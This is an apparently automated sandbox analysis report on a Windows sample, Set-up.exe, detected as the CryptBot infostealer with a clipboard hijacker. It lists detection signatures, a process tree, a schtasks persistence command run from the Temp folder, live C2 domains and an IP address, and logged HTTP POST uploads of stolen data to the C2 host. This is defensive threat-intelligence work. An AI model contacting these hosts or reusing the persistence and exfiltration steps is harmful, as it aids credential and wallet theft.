Edit tour

Windows Analysis Report
Set-up.exe

Overview

General Information

Sample name:	Set-up.exe
Analysis ID:	1503435
MD5:	f6f95571dba7580401d6d48e3d2e4a5b
SHA1:	819ff2a13f2807b1b225dc3353d7783c010c0266
SHA256:	156f6dd75320e7bcabab6af745b64efe9411f665271c81d7eba67bc04bfaa9bd
Tags:	exe
Infos:

Detection

Clipboard Hijacker, Cryptbot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Clipboard Hijacker

Yara detected Cryptbot

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops large PE files

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Set-up.exe (PID: 7488 cmdline: "C:\Users\user\Desktop\Set-up.exe" MD5: F6F95571DBA7580401D6D48E3D2E4A5B)

service123.exe (PID: 7992 cmdline: "C:\Users\user\AppData\Local\Temp\service123.exe" MD5: 5F9451036F4A31D47EA2ECDD9805E040)

schtasks.exe (PID: 8116 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

service123.exe (PID: 8176 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 5F9451036F4A31D47EA2ECDD9805E040)

service123.exe (PID: 1388 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 5F9451036F4A31D47EA2ECDD9805E040)

service123.exe (PID: 5136 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 5F9451036F4A31D47EA2ECDD9805E040)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Malware Configuration

Threatname: Cryptbot

{"C2 list": ["twov2vt.top", "analforeverlovyu.top", "+twov2vt.top"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1865318480.0000000004189000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: Set-up.exe PID: 7488	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: Set-up.exe PID: 7488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Set-up.exe PID: 7488	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
Process Memory Space: service123.exe PID: 7992	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.service123.exe.6c960000.1.unpack	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Set-up.exe", ParentImage: C:\Users\user\Desktop\Set-up.exe, ParentProcessId: 7488, ParentProcessName: Set-up.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, ProcessId: 8116, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Suricata Signatures

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 - Source IP: 192.168.2.9 - Destination IP: 195.133.48.136

Timestamp:	2024-09-03T15:14:10.579524+0200
SID:	2054350
Severity:	1
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 - Source IP: 192.168.2.9 - Destination IP: 195.133.48.136

Timestamp:	2024-09-03T15:14:06.437129+0200
SID:	2054350
Severity:	1
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 - Source IP: 192.168.2.9 - Destination IP: 195.133.48.136

Timestamp:	2024-09-03T15:14:14.921542+0200
SID:	2054350
Severity:	1
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: Set-up.exe.7488.1.memstrmin

Malware Configuration Extractor: Cryptbot {"C2 list": ["twov2vt.top", "analforeverlovyu.top", "+twov2vt.top"]}

Multi AV Scanner detection for submitted file

Source: Set-up.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_002B15D0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		6_2_002B15D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9614E0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		6_2_6C9614E0

Source: Set-up.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov ecx, dword ptr [002BC044h]	6_2_002B15D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	6_2_6C9CACA0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	6_2_6C9D2CD0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9E6DEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9E6DEA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96ED09
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96EE80
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96E8E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96285F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C9629BE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9929D1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9929D1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	6_2_6C9929D1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C9629FD
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96297F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96EA97
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9B2A90
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C9CA920h	6_2_6C9CAA90
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C962AF1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, 6CA4701Ch	6_2_6C9D2AF0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96EA31
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C962A3C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C992A7C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96EB80
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C962BD3
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	6_2_6C992BDC
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C962B30
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C992B2C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C962B6F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96E510
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96E7B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96E700
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	6_2_6C98E04C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	6_2_6C98E1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C98E2B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	6_2_6C98E2B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	6_2_6C98E27C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C962390
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	6_2_6C98E3FC
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C98E34C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96BC9F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96BCB5
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96BCC7
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96BC33
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96BC58
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96BC7E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96BDFF
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96BD06
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96BED2
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	6_2_6C983EF0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96F880
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96B8E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	6_2_6C9CF99E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	6_2_6C9CF99A
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96BA80
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96BAD0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	6_2_6C98FA50
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	6_2_6C983A40
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96BBC4
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96BB7B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9CF7DE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9CF7DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96B750
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	6_2_6C9DF080
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	6_2_6C983060
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	6_2_6C9D4C00
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	6_2_6C9D4C00
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9D4C00
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9D0D3E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9D0D3A
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9CCFB3
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, ecx	6_2_6CA08880
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96CB40
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	6_2_6C97C730
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	6_2_6C990740
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	6_2_6C984010
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96C070
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	6_2_6C9D4210
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96C380
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	6_2_6C98DCCC
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	6_2_6C98DC30
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96DC60
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C98DD9C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C98DD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	6_2_6C98DD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96DEE0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	6_2_6C98DE4C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	6_2_6C98DFB0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96D8A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	6_2_6C98DA9C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96DAF0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	6_2_6C98DA00
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96DB90
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96D4C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96D6A8
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9B1600
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96D645
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96D1A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	6_2_6C9DD100
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	6_2_6C9DD100
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	6_2_6C9DD100
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9E513E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9E513A
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C961400h	6_2_6C96D3A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	6_2_6C9D5300
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	6_2_6C9D5300
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	6_2_6C9D5300

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49717 -> 195.133.48.136:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: twov2vt.top
Source: Malware configuration extractor	URLs: analforeverlovyu.top
Source: Malware configuration extractor	URLs: +twov2vt.top

Source: Joe Sandbox View

IP Address: 195.133.48.136 195.133.48.136

Source: Joe Sandbox View

ASN Name: MTW-ASRU MTW-ASRU

Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary50662501User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 411Host: twov2vt.top
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary36602442User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 90242Host: twov2vt.top
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary83386311User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 30031Host: twov2vt.top

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: twov2vt.top

Source: unknown

HTTP traffic detected: POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary50662501User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 411Host: twov2vt.top

Source: Set-up.exe, 00000001.00000003.1419945207.00000000012E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twov2vt.top/v1/upload.php
Source: Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: QebpVzajWJMNuiTsbyMN.dll.1.dr	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: Set-up.exe	String found in binary or memory: https://update-ledger.net/update
Source: Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 6_2_6C97ADA0 TmktfjIXkOvfVwxsdEdy,OpenMutexA,CloseHandle,CreateMutexA,CreateMutexA,Sleep,Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,

6_2_6C97ADA0

Source: C:\Users\user\AppData\Local\Temp\service123.exe

6_2_6C97ADA0

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 6_2_6C97B0D0 IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,CloseClipboard,

6_2_6C97B0D0

System Summary

Drops large PE files

Source: C:\Users\user\Desktop\Set-up.exe

File dump: service123.exe.1.dr 314613760

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_002B3E80	6_2_002B3E80
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_002B5140	6_2_002B5140
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C96EE80	6_2_6C96EE80
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C976B10	6_2_6C976B10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9B2080	6_2_6C9B2080
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9BE050	6_2_6C9BE050
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C96FDC0	6_2_6C96FDC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C963D20	6_2_6C963D20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9738B0	6_2_6C9738B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C963580	6_2_6C963580
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9C32F0	6_2_6C9C32F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9A4EF3	6_2_6C9A4EF3
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C970F20	6_2_6C970F20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9B0BF0	6_2_6C9B0BF0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C96CB40	6_2_6C96CB40
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9C4040	6_2_6C9C4040
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9A42A5	6_2_6C9A42A5
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C978260	6_2_6C978260
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9A5CB0	6_2_6C9A5CB0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9C5E20	6_2_6C9C5E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C975850	6_2_6C975850
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9A9B10	6_2_6C9A9B10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C969790	6_2_6C969790
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9C50C0	6_2_6C9C50C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 6_2_6C9951E0	6_2_6C9951E0

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6CA3CC20 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C9FDCC0 appears 51 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6CA315E8 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6CA3D2A0 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C96DAF0 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6CA32930 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6CA3CF20 appears 179 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6CA3EBE0 appears 74 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6CA2AC80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6CA3CDB0 appears 57 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6CA3EAF0 appears 79 times

Source: Set-up.exe

Static PE information: Number of sections : 18 > 10

